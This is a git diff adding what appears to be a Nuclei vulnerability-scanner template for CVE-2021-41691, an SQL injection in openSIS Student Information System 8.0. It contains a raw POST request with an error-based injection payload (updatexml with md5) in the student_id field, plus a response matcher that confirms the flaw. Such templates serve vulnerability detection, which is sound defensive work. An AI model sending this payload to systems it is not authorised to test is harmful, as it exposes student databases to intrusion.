diff --git a/cves/2022/CVE-2021-41691.yaml b/cves/2022/CVE-2021-41691.yaml
new file mode 100644
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+++ b/cves/2022/CVE-2021-41691.yaml
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+id: CVE-2021-41691
+
+info:
+  name: openSIS Student Information System 8.0 SQl Injection Vulnerability
+  author: Bartu Utku SARP
+  severity: high
+  description: description
+  reference: 
+    - https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41691
+  tags: cve,cve2021,opensis,sql
+  classification:
+    cve-id: CVE-2021-41691
+
+requests:
+- raw:
+  - |
+    POST /opensis/TransferredOutModal.php?modfunc=detail HTTP/1.1
+    Content-Length: 103
+    Host: {{Hostname}}
+    Cookie: {{Cookie}}
+    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+    Accept-Language: en-US,en;q=0.5
+    Accept-Encoding: gzip, deflate
+    Upgrade-Insecure-Requests: 1
+    Sec-Fetch-Dest: document
+    Sec-Fetch-Mode: navigate
+    Sec-Fetch-Site: none
+    Sec-Fetch-User: ?1
+    Cache-Control: max-age=0
+    Te: trailers
+    Content-Type: application/x-www-form-urlencoded
+    User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
+    Connection: close
+
+    student_id=updatexml(0x23,concat(1,md5(1234)),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
+
+  matchers:
+    - type: word
+      words:
+        - "dc9bdb52d04dc20036dbd8313ed055"
+      part: body